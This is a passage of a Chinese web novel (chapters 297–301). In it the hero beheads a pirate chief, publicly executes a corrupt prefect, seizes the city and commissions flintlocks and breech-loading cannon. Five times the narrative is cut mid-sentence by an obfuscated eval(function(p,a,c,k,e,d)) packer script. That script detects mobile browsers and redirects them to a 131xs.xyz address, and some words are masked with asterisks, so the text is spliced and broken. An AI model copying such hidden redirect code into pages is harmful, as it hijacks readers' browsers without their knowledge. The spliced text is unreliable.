而此时,陈平川的目标只有一个。 ——犬养三郎。 擒贼先擒王! 他手持张烈所赠的“破虏”剑,在石头和燕飞等人组成的一个鸳鸯阵护卫下,如同一把尖刀,径直杀向倭寇的指挥中枢。 挡在他们面前的倭寇,甚至来不及看清他们的样貌。 石头挥舞着那根巨大的铁木,每一次挥动,都带着呼啸的风声,被砸中的倭寇,非死即残,筋断骨折。 而燕飞的箭,更快,更准,更致命。 弓弦震动,必有一名倭寇倒下。 “保护大人!” 终于,有倭寇发现了这支正在快速突进的小队,纷纷大叫起来,朝着他们围了过来。 犬养三郎也注意到了正向他杀来的陈平川。 当他看清陈平川那张年轻而又冰冷的面孔时,所有的仇恨和怒火,都涌上了心头。 “你就是陈平川?是你烧了我的黑礁岛!”犬养三郎的独眼死死地盯着陈平川,声音里充满了怨毒,“给我抓住他!我要亲手砍下他的脑袋,谁能办到,我赏他一百个女人!一万两黄金!” 重赏之下,必有勇夫。 周围的倭寇像是打了鸡血一样,嗷嗷叫着,不顾一切地朝着陈平川三人扑了过来。 “找死!” 石头怒吼一声,将手中的铁木舞得虎虎生风,形成了一道密不透风的屏障,将所有扑上来的倭寇都砸飞了出去。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202012|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而,倭寇的数量实在太多,一时间,他们竟然被死死地缠住了。 犬养三郎见状,脸上露出一丝狰狞的冷笑。 他正准备指挥更多的人手去**,冷不防,一股致命的危机感,让他全身的汗**都竖了起来。 他下意识地一偏头。 “咻!” 一支利箭,带着破空的锐啸,擦着他的耳朵飞了过去,精准地射穿了旁边一个正在叫嚣的倭寇头目的咽喉! 是燕飞! 不知何时,燕飞已经骑在了高大的石头的脖子上,占据制高点,张弓搭箭,眼神锐利如鹰,将整个战场都纳入了眼底。 他的箭,就是死神的镰刀。 犬养三郎惊出了一身冷汗,他刚想寻找掩护,第二支箭又到了! 这一箭,更快,更刁钻! 犬养三郎拼命地挥刀格挡。 “当!” 一声脆响,他手中的**,竟被这一箭巨大的力道给震飞了出去!虎口瞬间被震裂,鲜血直流。 “啊!” 犬养三郎惨叫一声,手腕上传来的剧痛,让他几乎站立不稳。 等他抬起头时,一道巨大的黑影已经将他笼罩。 犬养三郎惊恐地瞪大了独眼,刚想开口说些什么。 石头却根本没有给他任何机会,一把抓住了他脑袋,嘭的一声,将其重重按在地上。 “下地狱去,跟那些被你残害的冤魂忏悔吧!” 陈平川冰冷的声音,如同来自九幽地府的审判。 “破虏”剑在空中划出了一道凌厉的寒光。 “噗!” 一颗带着惊恐和不甘表情的头颅,冲天而起,在空中翻滚了几圈,重重地落在了沙滩上。 鲜血,如同喷泉一般,染红了犬养三郎脚下的土地。 马三冲过去,捡起犬养三郎的头颅,高声大喊:“犬养三郎**!犬养三郎**!” 整个战场,仿佛在这一刻,被按下了暂停键。 所有人都呆呆地看着这一幕。 主帅……**了? 短暂的死寂之后,倭寇阵中,爆发出了一阵巨大的恐慌。 他们彻底崩溃了。 “大人**!快跑啊!” “逃命啊!” 倭寇们扔下武器,大喊着,四散而逃,再也组织不起任何有效的抵抗。 靖海营的战士们,立刻开始了最后的追杀。 而江徽府的城墙上,也爆发出了一阵震天的欢呼。 城门被缓缓打开,一些胆大的守军和百姓,甚至自发地拿起武器,冲出城外,追杀那些落荒而逃的倭寇。 陈平川的目光,扫过整个战场,声音传遍四方:“倭寇首领犬养三郎,已授首!” “犯我边境,害我子民者,虽远必诛!” 第297章 你的庆功宴,就是公审你的断头台! 战斗,很快就结束了。 失去了主帅的倭寇,如同一盘散沙,被士气高昂的靖海营和自发反抗的江徽府军民,一一斩杀殆尽。 整个海滩,都被鲜血染成了暗红色。 残破的兵器,倒毙的尸体,到处都是。 海风吹过,带来了浓重的血腥味,却吹不散人们劫后余生的喜悦和激动。 陈平川手提着犬养三郎血淋淋的头颅,在万众瞩目之下,一步一步地,走进了江徽府城。 城门口,无数的百姓和士兵,自发地跪倒在道路两旁。 他们看着陈平川的眼神,充满了敬畏、感激和崇拜。 “陈将军威武!” “陈将军是我们的救命恩人啊!” 山呼海啸般的欢呼声,一浪高过一浪。 在他们眼中,这个从天而降,以雷霆之势斩杀倭寇首领,解救了全城百姓的年轻人,就是神明一般的存在。 陈平川面色平静,对周围的欢呼和跪拜,视若无睹。 他只是提着那颗头颅,径直朝着知府衙门走去。 而就在这时,魏长明带着几个家丁护卫,满脸堆笑地从里面出来,拦在了陈平川的面前。 “哎呀呀,陈将军!真是年少有为,国之栋梁啊!” 魏长明一上来,就对着陈平川一顿猛夸,那副谄媚的样子,和他刚刚在城墙上哭喊求饶的样子,判若两人。 “此战,陈将军当居首功!本官……本官一定会亲自上奏朝廷,为将军请功的!”他拍着胸脯,说得信誓旦旦。 陈平川停下脚步,面无表情地看着他,就像在看一个跳梁小丑在拙劣地表演。 魏长明被他看得有些发毛,但还是硬着头皮,摆出知府的架子,继续说道:“咳咳,那个……陈将军一路征战,辛苦了。这城防的事,就交给本官吧。将军和手下的将士们,可以先去军营歇息,本官已经命人准备好了酒宴,为各位接风洗尘。” 他的意思很明显,仗打完了,你们这些丘八就可以滚蛋了,这江徽府,还是我魏长明说了算。 他想重新接收城防,把陈平川和他的靖海营,排挤出江徽府的权力核心。 周围的百姓和士兵们,听到这话,纷纷用一种鄙夷的目光看着魏长明。 这狗官,脸皮也太厚了! 刚才吓得屁滚尿流,准备弃城而逃的是他。 现在倭寇被打跑了,出来摘桃子的也是他! 然而,出乎所有人意料的是,陈平川并没有发怒。 他脸上的冰冷,忽然如春雪般消融,换上一副灿烂的笑容。 “魏大人说的是哪里话!”陈平川热情地说道,“您是江徽府的父母官,这城防自然是要交由您来主持的。我们靖海营,不过是听从大人号令,前来助战的客军罢了。” 他这番话,说得谦卑恭敬,让魏长明都愣了一下。 这小子……这么好说话? “来人啊!”陈平川对着身后大喊一声,“将犬养三郎的首级,悬于城门之上!以儆效尤!” 然后,他转过头,对着魏长明,做了一个“请”的手势,笑容可掬地说道:“魏大人,您是主,我们是客。请吧,咱们一起去知府大堂,好好商议一下这庆功宴的事宜。此番大捷,定要好好庆贺一番!” 魏长明看着陈平川那真诚的笑容,心中的疑虑,顿时消散了大半。 看来,这小子还是嫩了点,被自己三言两语就给唬住了。 他心中一阵得意,整了整官袍,背着手,迈着四方步,昂首挺胸地走在了前面。 “嗯,理当如此,理当如此。” 陈平川微笑着,跟在他身后,向着知府衙门走去。 只是,在他低头的一瞬间,眼底深处闪过一抹森冷的寒意。 知府大堂。 魏长明毫不客气地,一屁股就坐上了主位太师椅上。 他端起茶杯,吹了吹漂浮的茶叶,惬意地喝了一口,斜着眼睛,看着站在堂下的陈平川,心中充满了优越感。 一个武夫,就算再能打,又懂什么官场权谋? 还不是被我**于股掌之间。 他清了清嗓子,正准备开口,对陈平川的部队进行一番“安排”,然而,就在此时,陈平川脸上的笑容,瞬间消失了。 取而代之的,是彻骨的冰冷。 “来人!” 他猛地大喝一声,声音如同炸雷,在大堂内回响。 “将魏长明,给我拿下!” 魏长明被这突如其来的变故,吓得手一抖,茶杯“啪”的一声掉在地上,摔得粉碎。 “陈平川!你……你想干什么?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202013|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他惊恐地从椅子上跳了起来,指着陈平川,色厉内荏地吼道,“本官可是朝廷命官!你敢……” 他的话还没说完,石头和林勇已经一左一右地冲了上来。 “放肆!你们想**吗?!”魏长明身边的几个家丁,还想上前阻拦。 石头看都没看他们一眼,只是反手一巴掌。 “啪!” 几个家丁直接被扇飞了出去,撞在柱子上,口吐白沫,昏死过去。 下一秒,魏长明就被林勇死死地按在了地上,动弹不得。 一把刀架在了他的脖子上! “陈平川!你这个乱臣贼子!你不得好死!”魏长明还在拼命地挣扎,嘴里不干不净地咒骂着。 陈平川缓缓地走到他的面前,居高临下地看着他,眼神中充满了不屑。 “魏大人,你的庆功宴,明天才正式开始。” “到时候,整个江徽府的百姓,都会来为你‘庆贺’的。” …… 第二天,天刚一亮。 江徽府的百姓们,就发现今天的气氛有些不同寻常。 一队队全副武装的靖海营士兵,出现在了城内的大街小巷,维持着秩序。 所有的布告栏上,都贴出了一张巨大的告示。 告示的内容很简单,却足以让整个江徽府都为之震动——今日午时,将在知府衙门前的广场上,公开审判通敌叛国、鱼肉百姓的罪官魏长明! 这个消息,飞快地传遍了全城。 百姓们先是震惊,随即便是巨大的狂喜。 “要审判魏长明那个狗官了?” “真的假的?陈将军要为我们做主了?” “太好了!苍天有眼啊!这个狗官,早就该**!” 一时间,群情激奋。 无数的百姓,从四面八方,朝着知府衙门前的广场涌去。他们要去亲眼见证,这个压榨了他们多年的狗官,是如何得到应有的报应的。 临近午时,广场上已经挤得人山人海,黑压压的一片,连周围的房顶上都站满了人。 在广场的正中央,临时搭建起了一个高台。 高台之上,陈平川一身戎装,按剑而立,面色冷峻。 在他的身后,是石头、林勇、海哥等一众靖海营的将领。 “时辰到!带人犯!” 第298章 一剑诛**,万民拥新王 随着陈平川一声令下,五花大绑、披头散发的魏长明,被粗暴地押上了高台。 曾经不可一世的知府大人,此刻狼狈得像一条死狗。 他看着台下那一张张充满愤怒和仇恨的面孔,吓得浑身发抖,面如死灰。 “狗官!还我儿子的命来!” “杀了他!杀了这个畜生!” 台下的百姓看到魏长明,瞬间就炸了锅。无数的烂菜叶、臭鸡蛋,如同雨点一般,朝着高台上的魏长明砸了过去。 要不是有靖海营的士兵拦着,愤怒的百姓恐怕早就冲上高台,将他活活撕碎了。 陈平川抬起手,往下压了压。 喧闹的广场,瞬间安静了下来。 所有人的目光,都集中在了他的身上。 陈平川的目光,如同利剑一般,扫过台下的百姓,朗声说道:“诸位江徽府的父老乡亲!我陈平川,今日在此设立公堂,就是要当着大家的面,审一审这个所谓父母官的罪行!” “魏长明!”他猛地转向跪在地上的魏长明,厉声喝道,“你可知罪?!” “我……我无罪!”魏长明还在做最后的挣扎,“陈平川,你这是私设公堂!是谋反!你没有资格审判我!我是朝廷命官!” “朝廷命官?”陈平川冷笑一声,“一个勾结海盗,残害同胞,对倭寇卑躬屈膝,弃城而逃的软骨头,也配称自己是朝廷命官?简直是滑天下之大稽!” “你……你血口喷人!”魏长明狡辩道。 “血口喷人?”陈平川的眼神更冷了,“好!那我就让你死个明白!” “带人证!” 随着他一声令下,海哥从人群中走了出来,登上了高台。 魏长明看到海哥,瞳孔猛地一缩。 “海……海哥?你……你……” “我不是应该被犬养三郎杀了吗?”海哥接过他的话,脸上露出一丝嘲讽的笑容,“魏大人,让你失望了,我还活着。” 他转过身,对着台下的百姓,大声说道:“诸位乡亲!我海哥,以前是海上的匪,做过不少错事。但在陈大人的感化之下,我要痛改前非!今天我就站出来,将功赎罪!” 说着,他一指跪在地上的魏长明,声音里充满了愤怒。 “就是他!魏长明!他当上江徽府知府之后,默许倭寇在沿海烧杀抢掠!还主动派人联系上了我,要求倭寇抢来的财物,他要分走三成的好处!” “而望海镇的**,就是他一手造成的!” 海哥的话,如同一块巨石,投入了平静的湖面,激起了千层浪。 台下的百姓,一片哗然。 “原来是这样!我说怎么官府从来不管倭寇!” “这个天杀的狗官!他该千刀万剐!” “你……你胡说!”魏长明面色惨白,还在嘴硬,“你一个海盗的话,谁会信!你有证据吗?” “证据?”陈平川冷哼一声,“我当然有。” “马三,呈上来!” 马三应声而出,手中捧着一个账本,快步走上高台,呈给了陈平川。 陈平川接过账本,高高举起,对着台下的百姓展示。 “诸位乡亲,这是我从魏长明书房的暗格里,搜出来的秘密账本!上面,清清楚楚地记录着,他每一笔肮脏交易!” “某年某月,收受‘孝敬’白银五千两!” “某年某月,吞没粮食三万石!” “某年某月……” 陈平川每念一条,台下百姓的怒火就高涨一分。 当他念完最后一笔,整个广场上的怒火,已经沸腾到了极点。 人证物证俱在,魏长明瘫软在地,面如死灰,再也说不出一句话来。 他知道,他完了。 “杀了他!” “杀了这个狗官!” “凌迟!必须凌迟!” 山呼海啸般的怒吼声,几乎要将整个广场掀翻。 **,如潮水,如烈火。 陈平川看着这沸腾的**,缓缓地拔出了腰间的“破虏”剑。 剑身在阳光下,闪烁着森冷的寒光。 他的声音,盖过了所有的喧嚣,清晰地传到了每一个人的耳朵里。 “魏长明,通敌叛国,鱼肉百姓,罪大恶极,罄竹难书!” “国法不容,天理难恕!” “今日,我陈平川,便顺应**,代天行罚!” 话音落,剑光起。 “噗!” 一道血光闪过,魏长明的头颅,滚落在地。 鲜血,染红了高台。 全场,先是死一般的寂静。 随即,爆发出了一阵比之前任何时候都要热烈、都要疯狂的欢呼! “陈将军威武!” “青天大老爷!” “我等,愿奉陈将军为主!” 台下的百姓,黑压压地跪倒了一片。他们看着高台之上,那个手持滴血长剑,身姿挺拔的身影,眼神中充满了狂热的崇拜。 这一刻,陈平川在他们心中,已经不再是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205267|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个将军,而是他们的王,是能带给他们安宁和希望的,新的君主。 陈平川站在高台之上,手持滴血的长剑,目光越过下方欢呼的人群,望向了遥远的,京师的方向。 他的眼神,深邃而又坚定。 江徽府,到手了。 这,只是他霸业的开始。 …… 魏长明的死,并没有让江徽府陷入混乱。 恰恰相反,当这个压在所有人心头的大石头被搬开后,整个城市反而焕发出了一种前所未有的生机。 陈平川没有急于享受胜利的果实,他深知,打天下难,坐天下更难。 接下来的几天里,他以雷霆万钧之势,对江徽府进行了一场大刀阔斧的整顿。 首先是吏治。 他让马三和玲儿联手,将魏长明留下的那帮贪官污吏,查了个底朝天。凡是跟魏长明同流合污、欺压百姓的,有一个算一个,全部拿下! 轻则罢官免职,抄没家产。 重则,直接拉到公审大会的那个高台上,当着全城百姓的面,明正典刑! 一时间,江徽府官场,人人自危。 短短三天之内,就有十几颗脑袋落地。 这种铁血手腕,彻底震慑了那些心怀鬼胎的宵小之辈。 空出来的职位,陈平川没有急于安排自己的人,而是贴出告示,公开选拔。 不问出身,不看背景,只看能力和品德。 只要你有才华,愿意为百姓做事,哪怕你之前只是一个名不见经传的小吏,甚至是一个白丁,都有机会得到重用。 这一举措,打破了以往官场论资排辈的陈规陋**,让无数有志之士看到了希望,纷纷前来应征。 其次是军事。 陈平川正式将“靖海营”的名字,公布于众。 他以从黑礁岛缴获的巨额财富和魏长明抄家所得,作为军饷,在江徽府范围内,大肆招兵买马。 这一次,他招兵的要求,不再局限于那些出海的渔民。 只要是身强力壮、保家卫国的热血男儿,都可以报名参军。 而且,靖海营的待遇,好得出奇。 不仅军饷比朝廷的正规军高出一大截,家里还能分到田地,免除赋税。若是不幸战死,家里的抚恤金,更是足以让其家人一辈子衣食无忧。 如此优厚的条件,吸引了无数的年轻人踊跃报名。 仅仅十天时间,靖海营的规模,就从原来的一千人,迅速扩充到了五千人! 第299章 剑指天下,霸业从此刻开始! 陈平川将这五千人,分为了水陆两军。 由林沧海和海哥,负责统领三千水师,日夜在海上巡逻,肃清海盗和残余的倭寇,保卫海疆。 剩下的两千人,则作为陆军,由林勇和石头负责操练,驻守江徽府,维持城内治安。 他将岳家军与戚家军的练兵之法,毫无保留地传授下去,务求练出一支纪律严明、战力强悍的铁军。 同时,让全伯带领工匠,日夜赶工,打造新式的武器装备。 一支战斗力远超大业朝任何军队的强大武装,正在江徽府悄然成型。 最后,也是最重要的一点,是民生。 陈平川下令,将所有从贪官污吏那里抄没来的田产,全部分给那些无家可归的流民和贫苦百姓。 同时,宣布江徽府全境,三年之内,免除一切苛捐杂税! 这个消息一出,整个江徽府都沸腾了。 无数的百姓,自发地为陈平川立起了长生牌位,日夜焚香叩拜。 在他们心中,陈平川的地位,已经超越了遥远的皇帝,成为了他们唯一认可的统治者。 短短半个月时间,江徽府,就从一个死气沉沉、民不聊生的地方,变成了一个秩序井然、欣欣向荣的世外桃源。 一切,都在朝着好的方向发展。 这天晚上,陈平川处理完一天的公务,独自一人登上了江徽府的城楼。 夜风带着海水的咸湿,吹拂着江徽府的城楼。 陈平川独自凭栏而立,城内万家灯火,如繁星坠地。远处,隐约能听到百姓的欢声笑语,那是一种发自内心的、不含杂质的喜悦。 这种亲手缔造一片新天地的感觉,确实比单纯的杀戮和征服,更让人沉醉。 一阵脚步声从身后传来,石头、马三、玲儿、林沧海、海哥、林勇等人陆续登上城楼,安静地站在他身后。他们没有说话,只是用崇敬的目光看着这个一手将江徽府从地狱拉回人间的年轻人。 “都来了。”陈平川没有回头,声音平静,“看看这城里的灯火,好看吗?” “好看!”石头瓮声瓮气地回答,挠了挠头,“比以前亮堂多了。” “是啊,亮堂多了。”陈平川转过身,目光扫过这些他最核心的班底,“但这还不够。江徽府只是一个点,我要让这整个天下,都亮堂起来。” 众人闻言,心头皆是一震,他们知道,陈平川的雄心,绝不止于这一府之地。 第二天,原知府衙门,现在被临时改为了“江徽府议事厅”。 大堂之内,所有跟魏长明有关的奢华装饰都被拆除,取而代之的是简洁和肃穆。陈平川端坐主位,下方十几人,是他麾下的文武核心。 “今天,是我们拿下江徽府之后的第一次正式会议。”陈平川开门见山,“我们要定个章程,明确一下我们未来的路,到底该怎么走。” 他顿了顿,伸出三根手指:“我从黑礁岛和魏长明等贪官家里,缴获了大量的金银财宝。这笔钱,我准备分成三份。” 所有人的目光都集中了过来,这可是他们未来发展的根基。 “第一份,军用。”陈平川看向林沧海和林勇,“扩充军备,改善武器,提高军饷,抚恤阵亡将士家属。我们的军队,必须是待遇最好,装备最精良的。这一点,绝不能省。” 林沧海和林勇立刻起身,抱拳道:“谨遵主公号令!” “第二份,民用。”陈平川的语气变得柔和了一些,“兴修水利,开垦荒地,修建学堂,救济孤寡。百姓是水,我们是舟。水能载舟,亦能覆舟。只有百姓过得好了,我们的根基才能稳固。” “第三份,”陈平川的眼神变得深邃,“作为战略储备,以备不时之需。这笔钱,谁也不能动。” 安排完钱的事,陈平川的目光,落在了人群中一个坐立不安的胖子身上。 张盛财今天特意换上了一身崭新的绸缎衣衫,挺着个大肚子,坐在椅子上只觉得浑身不自在。这里坐着的都是将军、好汉,他一个商贾,总觉得有些格格不入。 “张叔叔。”陈平川忽然开口。 “啊?哎!在呢!”张盛财一个激灵,连忙站了起来,肥胖的脸上挤出讨好的笑容,“平川,有啥事你吩咐。” 陈平川看着他这副样子,有些想笑,但还是忍住了,严肃地说道:“我有一件至关重要的事情,想交给张叔叔来办。” 张盛财一听, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209318|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛都亮了。 “平川你尽管说!上刀山下火海,我……我绝不含糊!”张盛财激动得拍着胸脯,胸脯拍得“砰砰”作响。 “没那么严重。”陈平川道,“我需要一个人,替我执掌钱袋子,联通天下商路,并且,建立一个覆盖整个大业朝的情报网络。这个人,必须是我最信任的人,脑子要活,还得会算计。” 他看着张盛财,一字一句地说道:“我想来想去,只有张叔叔您,最合适。” 张盛财的呼吸瞬间停滞了,他瞪大了眼睛,指着自己的鼻子,声音都有些发颤:“我?我……我行吗?我就是个土财主,斗大的字不识一筐……” “识字不重要,会算账就行。”陈平川笑了,“张叔叔您精明了一辈子,跟各种人打交道,这点本事,我相信您有。至于情报,商队走到哪里,消息就带到哪里,还有比这更好的情报网吗?” 陈平川站起身,走到张盛财面前,郑重地说道:“我会成立一个新的部门,专门负责商业和情报。我希望由您来担任第一任总管。这个部门,我给它取个名字,叫‘天算’。” “天算?”张盛财喃喃地念着这个名字,只觉得一股豪气从脚底板直冲天灵盖。 天算!算尽天下事!这名字,太**霸气了! 他这辈子最大的愿望,就是能当个官,光宗耀祖。 现在,陈平川给了他这么大一个舞台!他仿佛已经看到自己运筹帷幄,决胜千里,手底下管着成百上千号人,无数的金钱和情报从他手里流过。 虽然他知道跟着陈平川干,跟当朝廷的官不一样,但听起来也威风啊! “干!”张盛财猛地一拍大腿,脸上的肥肉都在颤抖,“平川!你放心!这事儿我要是干不好,我……我就把脑袋拧下来给你当夜壶!” 一旁的张金宝看得目瞪口呆,他爹这辈子都没这么激动过。 “爹,你真行?”张金宝小声嘀咕。 “滚蛋!你爹我怎么不行了?”张盛财回头就骂,“从今天起,你就是‘天算’的副总管!跟老子好好学着点!再敢偷懒耍滑,看我不打断你的腿!” 张金宝吓得一缩脖子,不敢再说话。 第300章 神兵惊鬼神,天算定乾坤 陈平川满意地点了点头:“好!‘天算’的启动资金,从战略储备里出。张叔叔需要什么人,什么东西,直接开口。我只有一个要求,半年之内,我要在京师,有我们的眼睛和耳朵。” “用不了半年!三个月!”张盛财大手一挥,此刻他已经完全进入了“天算总管”的角色,“平川你等着,三个月后,梁太后晚上吃了几个菜,我都能给你打听得清清楚楚!” 整个议事厅里,响起了一阵善意的笑声。 随后,不等会议结束,张盛财就拉着张金宝离开了。 他风风火火地开始挑人选、选货物。 把那套商贾的本事发挥到了极致,从缴获的财物里,挑出了一大批在北方稀罕的南海珍宝、丝绸、香料。 三天后,一支由数十辆大车组成的庞大商队,在张盛财的带领下,打着“南洋张氏商号”的旗号,浩浩荡荡地离开了江徽府,一路向北。 陈平川争霸天下的棋盘上,一颗至关重要的棋子,已经落下。 这是后话。 安排完张盛财,陈平川将目光投向了另一个沉默的身影。 全伯。 这位曾经的工部罪官,如今陈平川麾下的技术总管,依旧是那副沉默寡言的样子,穿着一身沾满油污的匠人衣服,站在一群将领之中,显得有些格格不入。 但他浑浊的眼中,却闪烁着旁人不易察觉的精光。 “全伯,你跟我来。”陈平川对他招了招手。 全伯点了点头,默默地跟在陈平川身后,其他人也跟随过去。 一行人穿过几条戒备森严的街道,来到城西一处被军队完全封锁的巨大院落。这里原本是江徽府的官办工坊,如今,大门上挂起了一块崭新的牌匾,上面龙飞凤舞地写着三个大字——神机营。 走进院子,里面已经被完全改造。数十座高大的熔炉拔地而起,一排排崭新的工棚整齐排列,无数的工匠正在里面忙碌着,敲打声、拉风箱的声音此起彼伏,充满了力量和生机。 这些工匠,大部分都是陈平川从被解救的流民和贫苦百姓中挑选出来的。他们或许没有全伯那样的顶尖技艺,但都有一双勤劳的手和一颗感恩的心。 能在这里做工,不仅有饭吃,每天还能领到工钱,对他们来说,这简直是神仙般的日子。 看到陈平川和全伯进来,所有工匠都停下了手中的活计,恭敬地行礼。 “主公!” “全总管!” 陈平川摆了摆手,示意他们继续工作,然后带着全伯,走进了最里面一间守卫最为森严的独立工坊。 这里,是全伯的专属实验室。 工坊内,摆满了各种稀奇古怪的工具和零件,墙上挂着各种各样的图纸,都是全伯这段时间根据陈平川的一些零碎想法绘制的。 “全伯,我之前跟你提过的一些关于火器的想法,你研究得怎么样了?”陈平川问道。 全伯走到一张工作台前,拿起一个他亲手打造的零件,有些惭愧地说道:“回主公,按照您说的‘击发’原理,老朽反复试验,造出了这个东西。但是……它的击发速度还是太慢,而且非常容易失效,远达不到您说的‘扣下即响’的要求。是老朽无能。” 陈平川看着那个略显粗糙但已经具备了雏形的燧发机括,笑着摇了摇头:“不,你已经做得很好了。是我之前说得太笼统,今天,我给你看样东西。” 说着,他从怀中,掏出了几张卷轴。 他将卷轴在宽大的工作台上缓缓展开。 当卷轴完全展开的瞬间,全伯的眼睛猛地瞪大了,他整个人像是被雷劈中了一样,僵在了原地。 那上面画着的,根本不是这个时代应该有的东西! 第一张图纸,画的是一支**。但它的结构,比现在最精良的火铳,要复杂精妙一百倍! 那线条流畅的枪身,那设计鬼斧神工的击发装置,特别是那个被标注为“燧石”和“火镰”的构件,形成了一个完美的联动,简直是闻所未闻的天才想法! 图纸的旁边,还有密密麻麻的标注,每一个零件的尺寸、材质、公差,都标注得清清楚楚,其精确程度,让全伯这个顶级工匠都感到头皮发麻。 他颤抖着手,移向第二张图纸。 这张图纸上画着的,是一根炮管。但炮管的内壁,竟然画着一圈圈螺旋上升的凹槽!旁边标注着两个字——“线膛”。 “线膛……线膛……”全伯喃喃自语,“让弹丸旋转……增加射程和精度……天呐……天呐!还能这么干?!” 他的世界观,在这一刻被彻底颠覆了。作为一个浸淫器械制造一生的宗师级人物,他比任何人都清楚,这薄薄一张图纸上所蕴含的智慧,是何等的恐怖!这已经不是改良了,这是创造!是神迹! 他的目光,几乎是虔诚地移向了第三张图纸。 当看清第三张图纸上的东西时,全伯“扑通”一声,双膝一软,直接坐在了椅子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209319|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 那上面画的,是一门火炮的尾部结构。它……竟然可以从后面打开,直接将炮弹塞进去!旁边标注着四个大字——“后膛装填”! 全伯浑身都在发抖,不是因为恐惧,而是因为极度的激动。他这辈子都在和各种器械打交道,他毕生的追求,就是打造出最完美的杀伐利器。可他穷尽一生所思所想,和眼前这些图纸比起来,简直就是三岁孩童的涂鸦! 他猛地抬起头,用一种看神明一样的眼神看着陈平川,声音嘶哑地问道:“主……主公……这些……这些……是何方神圣所造?” 陈平川看着全伯的反应,故作高深地叹了口气,悠悠地说道:“一位故人,在梦中传授于我。他曾言,此乃天授神兵,若非用于驱逐外辱、拯救万民,不可现于世间。否则,必遭天谴。” “梦中传授……天授神兵……”全伯反复咀嚼着这几个字,眼中的最后一丝怀疑也烟消云散了。 是了!除了神仙托梦,凡人怎么可能想出如此鬼斧神工的设计! 他对着陈平川,恭恭敬敬地施礼,由衷地说道:“老朽全大有,今日得见此图,方知老朽乃是井底之蛙!” 他抬起头,眼中满是狂热与崇敬,“主公得此神授,乃万民之福!是天下之幸!从今往后,老朽这条命,这身手艺,就全都交给主公了!只要能将这些神兵打造出来,便是立刻**,也心甘情愿!” 陈平川笑道:“全伯言重了。我需要你活着,好好地活着,为我,为这天下的百姓,打造出更多的利器。” 他指着那些图纸,眼中闪烁着光芒:“我将神机营全权交给你,工匠、材料、金钱,你要什么给什么,不受任何节制。我只有一个要求,一个月内,我要看到第一支合格的燧发枪!三个月内,我要看到第一门合格的后膛炮!” “是!”全伯挺直了腰杆,浑浊的眼中爆发出前所未有的光彩,仿佛年轻了二十岁,“主公放心!老朽便是拼了这把老骨头,也必定完成任务!” 从那天起,神机营的炉火,便再也没有熄灭过。全伯带着他最精锐的弟子和工匠,吃住都在那间戒备森严的工坊里,夜以继日地进行着研究和试制。 江徽府的百姓们只知道,城西那个新成立的神机营,日夜都能听到叮叮当当的敲打声,还有时不时传来的沉闷巨响。 他们不知道,一支足以颠覆整个时代战争模式的恐怖力量,正在这里悄然孕育。 第301章 镇海破虏旌旗展,三军怒吼气吞天 江徽府,城外大校场。 扩充到五千人的靖海营将士,身穿崭新的号服,手持擦得锃亮的兵器,排成一个个整齐的方阵,肃立在烈日之下。 半个多月的严格操练,已经让他们褪去了渔民和流民的懒散,初步具备了军人的铁血气质。但他们的眼中,依然带着一丝对未来的迷茫。 高台之上,陈平川一身戎装,身姿挺拔如松。 他锐利的目光扫过下方一张张年轻而黝黑的面孔,朗声开口,声音传到每一个士兵的耳朵里。 “将士们!从今天起,‘靖海营’这个名字,将成为历史!” 